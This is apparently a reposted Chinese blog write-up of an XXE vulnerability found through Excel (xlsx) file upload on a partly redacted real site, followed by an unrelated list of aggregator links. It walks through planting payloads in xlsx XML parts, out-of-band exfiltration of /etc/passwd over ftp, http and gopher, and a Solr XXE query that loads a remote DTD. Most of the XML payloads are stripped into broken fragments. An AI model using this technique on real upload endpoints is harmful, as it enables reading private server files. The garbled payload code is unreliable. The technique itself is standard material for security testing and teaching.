明月清风~~
明月清风~~

记一次excel XXE漏洞

记一次excel XXE漏洞

​ LSA / 2020-05-21 09:00:16 / 浏览数 20953 安全技术 漏洞分析 [ 顶(1)](javascript:) [ 踩(0)](javascript:)

0x00 概述

Microsoft Office从2007版本引入了新的开放的XML文件格式，基于压缩的ZIP文件格式规范，改后缀名为zip再解压缩可以发现其中多数是描述工作簿数据、元数据、文档信息的XML文件。
记一次excel XXE漏洞_第1张图片
许多网站允许上传/导入文件，处理文件内部数据一般都会解析XML，若未安全配置解析器，则可能存在XXE漏洞。
通常大多数解析开始的地方是xl/workbook.xml，它提供了工作簿内容的概述，包含工作表及其名称的列表。各个工作表位于xl/worksheets目录下，通常内容最终位于xl/sharedStrings.xml。
大多数应用程序似乎都将xl / workbook.xml放入其XML解析器中以获取工作表列表，然后分别读取每个工作表以获取单元格内容。
xls与xlsx格式不同，xls是特有的二进制格式，其核心结构是复合文档类型，而xlsx的核心结构是XML类型，采用基于XML的压缩方式。xls格式文件无法插入payload进行XXE攻击。
测试的时候，根据功能点，docx，xlsx都可以尝试。

0x01 漏洞发现

https://zhpt.xxx.com/yyyService/zzz/yyymastermanager/batchAdd
记一次excel XXE漏洞_第2张图片
制作xlsx：
unzip ImportProductTemplate.xlsx
zip -r xxetest00.xslx *
记一次excel XXE漏洞_第3张图片

即使返回导入失败，也成功解析了xml
记一次excel XXE漏洞_第4张图片
由于是java的站，所以利用ftp协议读取文件
记一次excel XXE漏洞_第5张图片
记一次excel XXE漏洞_第6张图片
记一次excel XXE漏洞_第7张图片
记一次excel XXE漏洞_第8张图片
记一次excel XXE漏洞_第9张图片
可能由于目标jdk版本过高，无法完整读取有换行的文件，也无法列目录。
excel xxe可触发解析的xlsx内文件：
[Content_Types].xml
记一次excel XXE漏洞_第10张图片
xl/workbook.xml
记一次excel XXE漏洞_第11张图片
xl/worksheets/sheet1.xml
记一次excel XXE漏洞_第12张图片
_rels/.rels
记一次excel XXE漏洞_第13张图片
这些也可以尝试：
xl/_rels/workbook.xml.rels
xl/theme/theme1.xml
_rels/.rels
docProps/app.xml
docProps/core.xml
xl/_rels/workbook.xml.rels
xl/styles.xml
xl/workbook.xml

0x02 思考

java环境，读取有换行的文件成功与否与和java版本/操作系统有关。
php可以用base64编码带出，如下：
xxe.dtd:


">
%int;
%trick;

而java会出异常
记一次excel XXE漏洞_第14张图片
//jdk8u201

低版本Java可用gopher(java1.6)带出

">
%int;
%trick;

高版本java（不知道从1.8哪个版本开始）的ftp协议对换行做了限制
记一次excel XXE漏洞_第15张图片
//jdk8u201
//某些版本java会有checkUrl()在issueCommand()之前就检查\n
//sun.net.www.protocol.ftp.FtpURLConnection.checkURL()
Java支持的协议
记一次excel XXE漏洞_第16张图片

按常理在读取多行文件时候，高版本java碰到异常就读取不了了，但是/etc/passwd可以返回第一行的部分，其他文件就没返回。
利用solr xxe漏洞测试
java 8u151

192.168.1.2:8983/solr/demo/select?q=<%3Fxml version%3D"1.0" encoding%3D"UTF-8"%3F>%0A%0A%25remote%3B]>%0A&wt=xml&defType=xmlparser

尝试读多行文件
记一次excel XXE漏洞_第17张图片
ftp无返回，但是/etc/passwd有返回
记一次excel XXE漏洞_第18张图片
http无返回

ftp读取passwd出现下面异常，应该就是换行问题，能返回第一行一部分
org.apache.solr.search.SyntaxError: Error parsing XML stream:java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP command in {q=%0a%0a%25remote;]>%0a&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}

http读passwd一行都没返回，应该也是换行问题
org.apache.solr.search.SyntaxError: Error parsing XML stream:java.net.MalformedURLException: Illegal character in URL in {q=%0a%0a%25remote;]>%0a&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}

读取单行文件：
http成功返回
img
ftp成功返回
记一次excel XXE漏洞_第19张图片

Win7（8u201）下测试passwd的第一行可以返回，win.ini无返回…
记一次excel XXE漏洞_第20张图片
继续测试，发现能返回最后一个/b前面的部分
记一次excel XXE漏洞_第21张图片

linux也一样
记一次excel XXE漏洞_第22张图片
记一次excel XXE漏洞_第23张图片
感兴趣的大神可以调试一下，兴许一个CVE就出现了…

顺便说一下，如果文件中含有
‘ “ < > &
直接读会报错
可以利用CDATA 
由结束
可以用于xxe有回显的情况
dtd

">
">
payload



%asd;%c;%rrr;]>

0x03 相关案例

https://medium.com/@jonathanbouman/xxe-at-bol-com-7d331186de54

https://wemp.app/posts/c6478311-33dc-4c59-92bc-12105baf5bac
QQ邮箱XXE可读取任意文件
网易邮箱某处XXE可读取文件

0x04 参考资料

https://www.4armed.com/blog/exploiting-xxe-with-excel/
https://www.freebuf.com/column/232334.html
scz.617.cn/misc/201911011122.txt
https://www.t00ls.net/articles-32919.html
https://www.leadroyal.cn/?p=914
www.mi1k7ea.com/2019/02/13/XML注入之DocumentBuilder/

你可能感兴趣的:(web,安全,xxe)

  • 2025年最新在线模型转换工具优化模型ncnn，mnn，tengine，onnx 我的青春不太冷 mnn人工智能深度学习ncnn在线模型转换网址
    文章目录引言最新网址地点一、模型转换1.框架转换全景图2.安全的模型转换3.网站全景图二、转换说明三、模型转换流程图四、感谢引言在yolov5，yolov8，yolov11等等模型转换的领域中，时间成本常常是开发者头疼的问题。最近发现一个超棒的网站工具，简直是模型转换的神器。它最大的亮点就是省去编译转换工具的时间，开箱即用，一键转换。对于目标格式，提供了tengine、ncnn、mnn、onnx等
  • 推荐篇：一探Selenium Java自动化测试架构的奥秘 俞予舒Fleming
    推荐篇：一探SeleniumJava自动化测试架构的奥秘selenium-java-test-automation-architectureReady-to-useUITestAutomationArchitectureusingJavaandSeleniumWebDriver.项目地址:https://gitcode.com/gh_mirrors/se/selenium-java-test-au
  • 【新春特辑】2025年1月科技浪潮中的AI最新时事与科技趋势 我的青春不太冷 科技最新时事AI大爆炸学习
    2025年1月科技浪潮中的AI最新时事与科技趋势一、AI科技时事人工智能代理（AIAgent）的发展最新进展：人工智能代理正逐步成为科技领域的新热点。这些代理能够自主执行特定任务，如管理日程、回复邮件等。然而，它们仍面临可靠性、可访问性和安全性等方面的挑战。随着技术的不断进步，这些挑战有望逐步得到解决。未来展望：未来，AI代理将更加智能化，能够更好地理解用户需求并提供个性化服务。同时，它们也将成为
  • HTML5+SVG+CSS3 雪中点亮的圣诞树 坏男孩！ css3html5css
    HTML5+SVG+CSS3雪中点亮的圣诞树源码下载地址：HTML5+SVG+CSS3雪中点亮的圣诞树css3：body{background:-webkit-linear-gradient(top,#235,#22240%,#fff50%,#fff);background:linear-gradient(tobottom,#235,#22240%,#fff50%,#fff);overflow:h
  • .net core + vue 搭建前后端分离的框架 战族狼魂 C#.netcore
    目录步骤一：创建.NETCore后端项目步骤二：创建Vue.js前端项目步骤三：集成后端和前端项目步骤一：创建.NETCore后端项目安装.NETCoreSDK：确保你的开发环境中已安装了最新版本的.NETCoreSDK。你可以从.NET下载页面获取最新版本。创建.NETCoreWebAPI项目：在命令行或者通过VisualStudio等集成开发环境，创建一个新的.NETCoreWebAPI项目。
  • Vue3 结合 .NetCore WebApi 前后端分离跨域请求简易实例 醉の虾 .netcorevue.js前端
    1、本地安装Vue3环境参考：VUE3中文文档-快速上手注意：初始安装vue时，需要安装router，否则后续也要安装2、安装axios组件比如：npminstallaxios@latest或pnpminstallaxios@latest3、设置跨域请求代理打开vue3项目根目录的vite.config.js文件，插入跨域请求设置这样实现的效果，假设你的前端域名是http://localhost:
  • Pycharm、IDEA等汉化教程 neo_will_mvp Python和GO实操生产代码Pycharm汉化Pycharm汉化
    本汉化教程对jetbrains全系列可用：IDEA、Pycharm、WebStorm、phpstorm、AndroidStudio、GoLand、RubyMine、CLion此汉化无副作用，绝对安全2019.02.03今天对汉化教程进行改版，解决原教程的汉化会导致setting无法使用和Structure无法显示问题此教程中使用的汉化包并非本人所产，我只是个搬运工。作者为：平方X，感兴趣的同学可以
  • uni-popup从底部弹出时，取消底部安全区域（小程序） ikun_isme 前端javascript开发语言
    标题内容区域关闭import{ref}from'vue'constpopup=ref(null)constshowPopup=()=>{popup.value.open()}constclosePopup=()=>{popup.value.close()}.popup-content{min-height:200px;padding:15px;}/*取消底部安全区域*/:deep(.uni-pop
  • 量化交易系统中+如何实现实时数据分析和决策支持？ openwin_top 量化交易系统开发数据分析数据挖掘数据库架构量化交易机器学习人工智能
    microPythonPython最小内核源码解析NI-motion运动控制c语言示例代码解析python编程示例系列python编程示例系列二python的Web神器Streamlit如何应聘高薪职位在量化交易系统中，实现实时数据分析和决策支持是至关重要的。以下是详细的步骤和示例，说明如何实现这一目标。1.数据收集首先，需要收集实时市场数据。这些数据通常来自交易所、市场数据供应商或其他金融数据服
  • 跨平台的客户端gui到底是选“原生”还是web 扎量丙不要犟 前端rustjavascripttaurielectronqtc++
    我们讨论的是客户端的“前端”gui部分是选“原生”还是“web”，而不是讨论客户端用“js”还是“原生”。为什么这么说呢？我们应该把客户端也分为“前端”和“后端”，如果客户端没有“后端”，那么不在讨论范围。我们看一下“前端”的定义：（Front-End）通常指与用户直接交互的部分，即用户看到、操作并与之互动的界面。它涵盖了视觉设计、交互逻辑，主要关注用户体验（UserExperience,UX）和
  • Bun：快速、现代的Go语言替代工具链 廉欣盼Industrious
    Bun：快速、现代的Go语言替代工具链bunuptrace/bun:是一个基于Rust的SQL框架，它支持PostgreSQL、MySQL、SQLite3等多种数据库。适合用于构建高性能、可扩展的Web应用程序，特别是对于需要使用Rust语言和SQL数据库的场景。特点是Rust语言、高性能、可扩展、支持多种数据库。项目地址:https://gitcode.com/gh_mirrors/bun/bu
  • Python股票程序交易接口查账，提交订单，自动交易（2） 股票程序化交易接口 量化交易股票API接口python
    Python股票接口实现查询账户，提交订单，自动交易（1）上一篇是获取数据，获取数据不难，有很多第三方库都可以获取，不一定非要用券商官方的接口，程序交易主要是交易的执行，这个没有官方接口是很难实现的。券商的接口不用担心安全和稳定的问题，相当于就是普通股票账户，开通了程序化交易的权限，通过API接口来执行交易和查询订单、查询账户。order_stock(账户对象,'600519.SH',xtcons
  • 首度揭秘：这款GitHub 3400星的播放器是如何开发出来的 字节跳动技术范儿 java编程语言字节跳动人工智能软件开发
    在字节跳动，有这样一支技术团队：他们开源的项目在GitHub摘得3400多颗星，除了字节跳动，不少其他互联网公司也在用他们的产品；他们经历过不少极限操作，《囧妈》2020年春节期间网络首播的一套技术解决方案，他们在36小时内就完成了；他们拥有交叉领域稀有技能，据说是「前端里最懂多媒体的，多媒体里最懂前端的」。他们，就是字节跳动的web多媒体团队。GitHub3400星的前端开源播放器Web多媒体团
  • solr 的admin.html 详细使用讲解 qq_37300675 solr
    爱雨轩真正的爱情，就像花朵，开放的地方越贫瘠，越是美丽动人！目录视图摘要视图订阅征文|从高考，到程序员深度学习与TensorFlow入门一课搞定！每周荐书|Web扫描、HTML5、Python（评论送书）solr管理界面详解标签：solrsolr管理界面solrqueryanalysis2016-08-0210:425117人阅读评论(0)收藏举报本文章已收录于：分类：Solr（8）作者同类文章X
  • Web 开发入门：从前端到后端的全栈开发探索 HelloZheQ 前端
    Web开发是指创建和维护通过网络浏览器访问的应用程序。Web开发涉及到的领域非常广泛，涵盖了前端、后端、数据库等多个技术栈。在这篇文章中，我们将详细介绍Web开发的基本概念、前端和后端的技术、全栈开发的特点以及如何开始从事Web开发。1.Web开发简介Web开发是构建和维护网站或Web应用程序的过程，分为前端开发、后端开发和全栈开发。前端开发负责用户界面和交互体验，后端开发负责服务器端的逻辑处理、
  • Kafka SASL/PLAIN介绍 王多鱼的梦想～ Kafka修炼手册kafka分布式安全
    文章目录KafkaSASL/PLAIN介绍1.SASL/PLAIN简介2.配置步骤（1）Kafka服务器端配置（2）Kafka客户端配置（3）测试连接3.认证过程3.1SASL/PLAIN认证工作原理3.2认证过程描述4.安全性考虑4.1SASL/PLAIN的安全问题4.2保障SASL/PLAIN安全性的方案4.3SASL/PLAIN的安全性处理场景5.SASL/PLAIN适用场景介绍5.1简单场
  • 基于云计算的自然资源视频监控系统设计与研究 罗伯特之技术屋 大数据与数字化的设计应用专栏云计算音视频
    摘要为了解决当前自然资源执法监管信息化系统存在的问题，满足对违法行为进行实时发现的需求，构建一个覆盖全省的实时监控视频系统。该系统基于云计算和视频中台等技术构建了两级云架构的视频处理与存储系统，通过AI等大数据算法对数据进行整合、分析，进而构建了具有执法线索、监督问效、行动处置和综合指挥等功能的自然资源管理系统。同时，该系统遵循安全等级保护三级要求，确保网络与信息安全，助力自然资源监管数字化。引言
  • 云计算资源虚拟化技术实现原理 wespten OpenStack虚拟化云平台混合云SDNNFV云计算服务器运维
    说到云计算，我们通常会看到这样的描述，“通过虚拟化技术实现”，不难看出，在云计算的概念中，虚拟化是非常基础，但又相当重要的一环，也是实现云计算的隔离性、扩展性、安全性等诸多问题的关键。云计算的基础是虚拟化，但虚拟化只是云计算的一部分，云计算是在虚拟化出若干资源池以后的应用。很多人就此认为，虚拟化不过是云计算身后的一个小小助力，其实不然。关于虚拟化本身，在IT领域中早已获得广泛应用，并且针对不同的资
  • Java软件架构：2020年2月最佳实践与趋势 王元祺
    本文还有配套的精品资源，点击获取简介：本资源探讨了2020年2月软件架构领域的主要趋势，重点关注微服务、容器化、DevOps、云原生以及CI/CD等关键议题。特别强调了Java在现代软件架构中的应用，包括微服务架构的实现，容器化技术如Docker的使用，以及Kubernetes等容器编排工具。还涉及到了Java的新特性、性能优化、安全性、可扩展性以及设计和架构模式。资料包括实例代码、文档和教程，致
  • Python 中 `finally` 的执行时机与 `return` 的微妙关系 叫我DPT pythonpython
    文章目录Python中`finally`的执行时机与`return`的微妙关系一、`finally`的执行时机示例二、`return`与`finally`的交互：可变对象的陷阱示例：可变对象在`finally`中被修改示例：不可变对象的安全隔离三、`finally`中的`return`：危险的覆盖行为示例4：`finally`覆盖返回值示例5：`finally`吞没异常四、总结与最佳实践Pytho
  • Spring MVC 知识点全解析 ╰つ゛木槿 springmvcjava
    SpringMVC知识点全解析SpringMVC是一个基于Java的请求驱动的Web框架，属于Spring框架的一部分，广泛用于构建企业级Web应用程序。本文将详细阐述SpringMVC的核心知识点，包括其工作原理、关键组件、配置、请求处理、数据绑定、异常处理等。1.SpringMVC概述1.1什么是SpringMVCSpringMVC（Model-View-Controller）是一个基于MVC
  • Python从0到100（八十一）：神经网络-Fashion MNIST数据集取得最高的识别准确率 是Dream呀 python神经网络开发语言
    前言：零基础学Python：Python从0到100最新最全教程。想做这件事情很久了，这次我更新了自己所写过的所有博客，汇集成了Python从0到100，共一百节课，帮助大家一个月时间里从零基础到学习Python基础语法、Python爬虫、Web开发、计算机视觉、机器学习、神经网络以及人工智能相关知识，成为学习学习和学业的先行者！欢迎大家订阅专栏：零基础学Python：Python从0到100最新
  • IM 即时通讯系统-01-概览 老马啸西风 IM大数据运维分布式IM开源java
    前言有时候希望有一个IM工具，比如日常聊天，或者接受报警信息。其实主要是工作使用，如果是接收报警等场景，其实DD这种比较符合场景。那么有没有必要再创造一个DD呢？答案是如果处于个人的私有化使用，那么重新实现一个DD类似的IM还是必要的。核心特性公司的组织关系通讯录会话IMAI实现的技术选型long-query定时轮训ESSWS多端平时工作的话，可以先做核心的实现：web。保证服务端实现完成，客户端
  • CCF 2020-12-2 期末预测之最佳阈值 夏末秋也凉 ccfccfc++
    题目背景考虑到安全指数是一个较大范围内的整数、小菜很可能搞不清楚自己是否真的安全，顿顿决定设置一个阈值θ，以便将安全指数y转化为一个具体的预测结果——“会挂科”或“不会挂科”。因为安全指数越高表明小菜同学挂科的可能性越低，所以当y≥θ时，顿顿会预测小菜这学期很安全、不会挂科；反之若y=0）作为基准时满足为1的数相加前面的数为0（=1）作为基准时满足为1的数相加前面的数为0（=）它自己的为1的个数，
  • 探索React ARIA：构建无障碍Web应用的利器 高慈鹃Faye
    探索ReactARIA：构建无障碍Web应用的利器react-ariaUtilitycomponentstohelpcomposeReactARIAcomponents项目地址:https://gitcode.com/gh_mirrors/re/react-aria随着Web应用程序的日益复杂，提供一个包容性且易于访问的界面变得至关重要。ReactARIA，这个曾经由souporserious维护
  • Python Web框架比较：Flask与FastAPI的特性和应用场景 不一样的信息安全 node.js
    摘要本文探讨Python语言中的两大Web框架：Flask和FastAPI。Flask以轻量级和易用性著称，提供高度灵活性，允许开发者自由选择数据库、表单验证库等工具。其核心架构简洁，借助丰富的扩展可显著增强功能。FastAPI则专注于高性能与现代Web开发需求，支持异步编程，具备自动交互式API文档生成功能。两者各具特色，适合不同应用场景。关键词Python语言,Web框架,Flask特性,Fa
  • 第26节课：内容安全策略（CSP）—构建安全网页的防御盾 学问小小谢 HTML学习安全前端学习服务器运维网络
    目录CSP基础CSP的作用CSP的主要属性配置CSP通过响应头配置CSP通过HTML``标签配置CSP属性设置详解指定多个来源配置示例说明常见错误配置实践：CSP与XSS防护示例1：防止内联脚本和样式说明示例2：限制图片来源说明限制与注意事项结语在现代Web开发中，内容安全策略（CSP）是一种强大的工具，用于帮助开发者防止多种安全漏洞，尤其是跨站脚本（XSS）攻击。本节课将详细介绍CSP的基础知识
  • 2025.2.1——七、Web_php_unserialize 代码审计 然然阿然然 “破晓”计划第一阶段训练php网络安全学习安全网络
    题目来源：攻防世界Web_php_unserialize目录一、打开靶机，整理信息二、解题思路step1：代码审计step2：绕过漏洞1.绕过__wakeup()2.绕过正则step3：脚本运行三、小结一、打开靶机，整理信息熟悉的代码审计，根据题目名称，还涉及到反序列化知识点二、解题思路step1：代码审计file=$file;//将传入的file参数赋值给当前对象的$file属性}functio
  • 基于SpringBoot+JWT实现单点登录解决方案 买女孩的火柴盒 springboot后端java
    基于SpringBoot和JWT（JSONWebTokens）实现单点登录（SSO,SingleSign-On）是一个流行的选择，因为它能够简化身份验证流程，并在多个应用之间共享用户的登录状态。1.添加依赖在你的pom.xml中添加JWT和SpringSecurity的依赖：org.springframework.bootspring-boot-starter-weborg.springframe
  • JavaScript Navigator：深入理解浏览器导航机制 lly202406 开发语言
    JavaScriptNavigator：深入理解浏览器导航机制引言在Web开发中，浏览器导航是用户与网页交互的重要部分。JavaScriptNavigator对象提供了丰富的API，允许开发者深入理解并控制浏览器的导航行为。本文将详细介绍JavaScriptNavigator对象的功能、使用方法以及在实际开发中的应用。一、什么是JavaScriptNavigator？JavaScriptNavig
  • java解析APK 3213213333332132 javaapklinux解析APK
    解析apk有两种方法 1、结合安卓提供apktool工具，用java执行cmd解析命令获取apk信息 2、利用相关jar包里的集成方法解析apk 这里只给出第二种方法，因为第一种方法在linux服务器下会出现不在控制范围之内的结果。 public class ApkUtil { /** * 日志对象 */ private static Logger
  • nginx自定义ip访问N种方法 ronin47 nginx 禁止ip访问
    　　　因业务需要，禁止一部分内网访问接口，　由于前端架了F5，直接用deny或allow是不行的，这是因为直接获取的前端Ｆ５的地址。 　　　所以开始思考有哪些主案可以实现这样的需求，目前可实施的是三种： 　　　一：把ip段放在redis里，写一段lua           二：利用geo传递变量，写一段
  • mysql timestamp类型字段的CURRENT_TIMESTAMP与ON UPDATE CURRENT_TIMESTAMP属性 dcj3sjt126com mysql
    timestamp有两个属性，分别是CURRENT_TIMESTAMP 和ON UPDATE CURRENT_TIMESTAMP两种，使用情况分别如下：   1.   CURRENT_TIMESTAMP    当要向数据库执行insert操作时，如果有个timestamp字段属性设为   CURRENT_TIMESTAMP，则无论这
  • struts2+spring+hibernate分页显示 171815164 Hibernate
    分页显示一直是web开发中一大烦琐的难题，传统的网页设计只在一个JSP或者ASP页面中书写所有关于数据库操作的代码，那样做分页可能简单一点，但当把网站分层开发后，分页就比较困难了，下面是我做Spring+Hibernate+Struts2项目时设计的分页代码，与大家分享交流。 　　1、DAO层接口的设计，在MemberDao接口中定义了如下两个方法： public in
  • 构建自己的Wrapper应用 g21121 rap
            我们已经了解Wrapper的目录结构，下面可是正式利用Wrapper来包装我们自己的应用，这里假设Wrapper的安装目录为:/usr/local/wrapper。           首先，创建项目应用   &nb
  • [简单]工作记录_多线程相关 53873039oycg 多线程
         最近遇到多线程的问题,原来使用异步请求多个接口(n*3次请求)     方案一 使用多线程一次返回数据,最开始是使用5个线程,一个线程顺序请求3个接口,超时终止返回     缺点       测试发现必须3个接
  • 调试jdk中的源码，查看jdk局部变量 程序员是怎么炼成的 jdk 源码
    转自：http://www.douban.com/note/211369821/    学习jdk源码时使用--   学习java最好的办法就是看jdk源代码，面对浩瀚的jdk（光源码就有40M多，比一个大型网站的源码都多）从何入手呢，要是能单步调试跟进到jdk源码里并且能查看其中的局部变量最好了。 可惜的是sun提供的jdk并不能查看运行中的局部变量
  • Oracle RAC Failover 详解 aijuans oracle
    Oracle RAC 同时具备HA(High Availiablity) 和LB(LoadBalance). 而其高可用性的基础就是Failover(故障转移). 它指集群中任何一个节点的故障都不会影响用户的使用，连接到故障节点的用户会被自动转移到健康节点，从用户感受而言， 是感觉不到这种切换。 Oracle 10g RAC 的Failover 可以分为3种： 1. Client-Si
  • form表单提交数据编码方式及tomcat的接受编码方式 antonyup_2006 JavaScripttomcat浏览器互联网servlet
    原帖地址：http://www.iteye.com/topic/266705 form有2中方法把数据提交给服务器，get和post,分别说下吧。 （一）get提交 1.首先说下客户端（浏览器）的form表单用get方法是如何将数据编码后提交给服务器端的吧。    对于get方法来说，都是把数据串联在请求的url后面作为参数，如：http://localhost:
  • JS初学者必知的基础 百合不是茶 js函数js入门基础
    JavaScript是网页的交互语言,实现网页的各种效果, JavaScript 是世界上最流行的脚本语言。 JavaScript 是属于 web 的语言，它适用于 PC、笔记本电脑、平板电脑和移动电话。 JavaScript 被设计为向 HTML 页面增加交互性。 许多 HTML 开发者都不是程序员，但是 JavaScript 却拥有非常简单的语法。几乎每个人都有能力将小的
  • iBatis的分页分析与详解 bijian1013 javaibatis
            分页是操作数据库型系统常遇到的问题。分页实现方法很多，但效率的差异就很大了。iBatis是通过什么方式来实现这个分页的了。查看它的实现部分，发现返回的PaginatedList实际上是个接口，实现这个接口的是PaginatedDataList类的对象，查看PaginatedDataList类发现，每次翻页的时候最
  • 精通Oracle10编程SQL(15)使用对象类型 bijian1013 oracle数据库plsql
    /* *使用对象类型 */ --建立和使用简单对象类型 --对象类型包括对象类型规范和对象类型体两部分。 --建立和使用不包含任何方法的对象类型 CREATE OR REPLACE TYPE person_typ1 as OBJECT( name varchar2(10),gender varchar2(4),birthdate date ); drop type p
  • 【Linux命令二】文本处理命令awk bit1129 linux命令
    awk是Linux用来进行文本处理的命令，在日常工作中，广泛应用于日志分析。awk是一门解释型编程语言，包含变量，数组，循环控制结构，条件控制结构等。它的语法采用类C语言的语法。   awk命令用来做什么？ 1.awk适用于具有一定结构的文本行，对其中的列进行提取信息 2.awk可以把当前正在处理的文本行提交给Linux的其它命令处理，然后把直接结构返回给awk 3.awk实际工
  • JAVA(ssh2框架)+Flex实现权限控制方案分析 白糖_ java
      目前项目使用的是Struts2+Hibernate+Spring的架构模式，目前已经有一套针对SSH2的权限系统，运行良好。但是项目有了新需求：在目前系统的基础上使用Flex逐步取代JSP，在取代JSP过程中可能存在Flex与JSP并存的情况，所以权限系统需要进行修改。 【SSH2权限系统的实现机制】 权限控制分为页面和后台两块：不同类型用户的帐号分配的访问权限是不同的，用户使
  • angular.forEach boyitech AngularJSAngularJS APIangular.forEach
    angular.forEach 描述: 循环对obj对象的每个元素调用iterator, obj对象可以是一个Object或一个Array. Iterator函数调用方法: iterator(value, key, obj), 其中obj是被迭代对象，key是obj的property key或者是数组的index，value就是相应的值啦. (此函数不能够迭代继承的属性.)
  • java-谷歌面试题-给定一个排序数组，如何构造一个二叉排序树 bylijinnan 二叉排序树
    import java.util.LinkedList; public class CreateBSTfromSortedArray { /** * 题目:给定一个排序数组，如何构造一个二叉排序树 * 递归 */ public static void main(String[] args) { int[] data = { 1, 2, 3, 4,
  • action执行2次 Chen.H JavaScriptjspXHTMLcssWebwork
    xwork 写道 <action name="userTypeAction" class="com.ekangcount.website.system.view.action.UserTypeAction"> <result name="ssss" type="dispatcher">
  • [时空与能量]逆转时空需要消耗大量能源 comsci 能源
            无论如何,人类始终都想摆脱时间和空间的限制....但是受到质量与能量关系的限制,我们人类在目前和今后很长一段时间内,都无法获得大量廉价的能源来进行时空跨越.....         在进行时空穿梭的实验中,消耗超大规模的能源是必然
  • oracle的正则表达式(regular expression)详细介绍 daizj oracle正则表达式
        正则表达式是很多编程语言中都有的。可惜oracle8i、oracle9i中一直迟迟不肯加入，好在oracle10g中终于增加了期盼已久的正则表达式功能。你可以在oracle10g中使用正则表达式肆意地匹配你想匹配的任何字符串了。 正则表达式中常用到的元数据(metacharacter)如下： ^ 匹配字符串的开头位置。 $ 匹配支付传的结尾位置。 *
  • 报表工具与报表性能的关系 datamachine 报表工具birt报表性能润乾报表
    在选择报表工具时，性能一直是用户关心的指标，但是，报表工具的性能和整个报表系统的性能有多大关系呢？ 要回答这个问题，首先要分析一下报表的处理过程包含哪些环节，哪些环节容易出现性能瓶颈，如何优化这些环节。   一、报表处理的一般过程分析 1、用户选择报表输入参数后，报表引擎会根据报表模板和输入参数来解析报表，并将数据计算和读取请求以SQL的方式发送给数据库。   2、
  • 初一上学期难记忆单词背诵第一课 dcj3sjt126com wordenglish
    what 什么  your 你 name 名字 my 我的 am 是 one 一 two 二 three 三 four 四 five 五 class 班级，课   six 六 seven 七 eight 八 nince 九 ten 十 zero 零 how 怎样 old 老的 eleven 十一 twelve 十二 thirteen
  • 我学过和准备学的各种技术 dcj3sjt126com 技术
    语言VB https://msdn.microsoft.com/zh-cn/library/2x7h1hfk.aspxJava http://docs.oracle.com/javase/8/C# https://msdn.microsoft.com/library/vstudioPHP http://php.net/manual/en/Html 
  • struts2中token防止重复提交表单 蕃薯耀 重复提交表单struts2中token
    struts2中token防止重复提交表单   >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 蕃薯耀 2015年7月12日 11:52:32 星期日 ht
  • 线性查找二维数组 hao3100590 二维数组
    1.算法描述 有序（行有序，列有序，且每行从左至右递增，列从上至下递增）二维数组查找，要求复杂度O(n)   2.使用到的相关知识： 结构体定义和使用，二维数组传递（http://blog.csdn.net/yzhhmhm/article/details/2045816）   3.使用数组名传递 这个的不便之处很明显，一旦确定就是不能设置列值 //使
  • spring security 3中推荐使用BCrypt算法加密密码 jackyrong Spring Security
    spring security 3中推荐使用BCrypt算法加密密码了，以前使用的是md5， Md5PasswordEncoder 和 ShaPasswordEncoder，现在不推荐了，推荐用bcrpt Bcrpt中的salt可以是随机的，比如： int i = 0; while (i < 10) { String password = "1234
  • 学习编程并不难,做到以下几点即可! lampcy javahtml编程语言
    不论你是想自己设计游戏，还是开发iPhone或安卓手机上的应用，还是仅仅为了娱乐，学习编程语言都是一条必经之路。编程语言种类繁多，用途各 异，然而一旦掌握其中之一，其他的也就迎刃而解。作为初学者，你可能要先从Java或HTML开始学，一旦掌握了一门编程语言，你就发挥无穷的想象，开发 各种神奇的软件啦。 1、确定目标 学习编程语言既充满乐趣，又充满挑战。有些花费多年时间学习一门编程语言的大学生到
  • 架构师之mysql----------------用group+inner join,left join ,right join 查重复数据（替代in) nannan408 right join
    1.前言。   如题。 2.代码 (1)单表查重复数据,根据a分组   SELECT m.a,m.b, INNER JOIN （select a,b,COUNT(*) AS rank FROM test.`A` A GROUP BY a HAVING rank>1 )k ON m.a=k.a （2）多表查询 ， 使用改为le
  • jQuery选择器小结 VS 节点查找（附css的一些东西） Everyday都不同 jquerycssname选择器追加元素查找节点
    最近做前端页面，频繁用到一些jQuery的选择器，所以特意来总结一下：   测试页面： <html> <head> <script src="jquery-1.7.2.min.js"></script> <script> /*$(function() { $(documen
  • 关于EXT tntxia ext
      ExtJS是一个很不错的Ajax框架，可以用来开发带有华丽外观的富客户端应用，使得我们的b/s应用更加具有活力及生命力。ExtJS是一个用 javascript编写，与后台技术无关的前端ajax框架。因此，可以把ExtJS用在.Net、Java、Php等各种开发语言开发的应用中。       ExtJs最开始基于YUI技术，由开发人员Jack
  • 一个MIT计算机博士对数学的思考 xjnine Math
     在过去的一年中，我一直在数学的海洋中游荡，research进展不多，对于数学世界的阅历算是有了一些长进。为什么要深入数学的世界？作为计算机的学生，我没有任何企图要成为一个数学家。我学习数学的目的，是要想爬上巨人的肩膀，希望站在更高的高度，能把我自己研究的东西看得更深广一些。说起来，我在刚来这个学校的时候，并没有预料到我将会有一个深入数学的旅程。我的导师最初希望我去做的题目，是对appe
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他